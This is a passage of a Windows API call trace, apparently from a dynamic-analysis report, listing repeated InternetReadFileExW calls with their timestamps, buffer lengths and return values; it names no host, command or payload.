InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x3cd, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.591] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.591] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.591] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.592] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x20a, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.592] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.592] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x136, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.593] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.593] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.593] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.594] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x76, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.594] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.595] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x18e, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.595] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.595] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.595] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.596] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x1b8, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.596] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.596] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0xbb, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.597] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.597] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.597] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x39a, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.598] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x3d0, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.598] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.599] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.599] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x81, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.599] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x282, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.600] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.600] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x2c8, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.600] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x26b, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.601] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.601] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.601] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x1d6, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.602] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.602] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0xb6, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.602] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.603] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.603] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.603] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x1e4, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.603] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.604] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x7, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.604] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.604] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.605] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.605] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x73, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.605] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.605] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x115, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.606] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.606] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.606] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x3db, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.606] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.607] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x172, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.607] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.607] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.608] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.608] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0xa, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.608] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.608] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x113, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.609] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.610] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.610] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x2ee, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.610] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.611] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x7d, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.611] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.611] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.612] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.612] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0xde, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.612] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: lpBuffersOut=0x58b1e88*(dwStructSize=0x28, Next=0x0, lpcszHeader=0x0, dwHeadersLength=0x0, dwHeadersTotal=0x0, lpvBuffer=0x5cfecd4*, dwBufferLength=0x400, dwBufferTotal=0x0, dwOffsetLow=0x0, dwOffsetHigh=0x0)) returned 1 [0184.613] InternetReadFileExW (in: hFile=0xcc000c, lpBuffersOut=0x58b1e88, dwFlags=0x8, dwContext=0x0 | out: 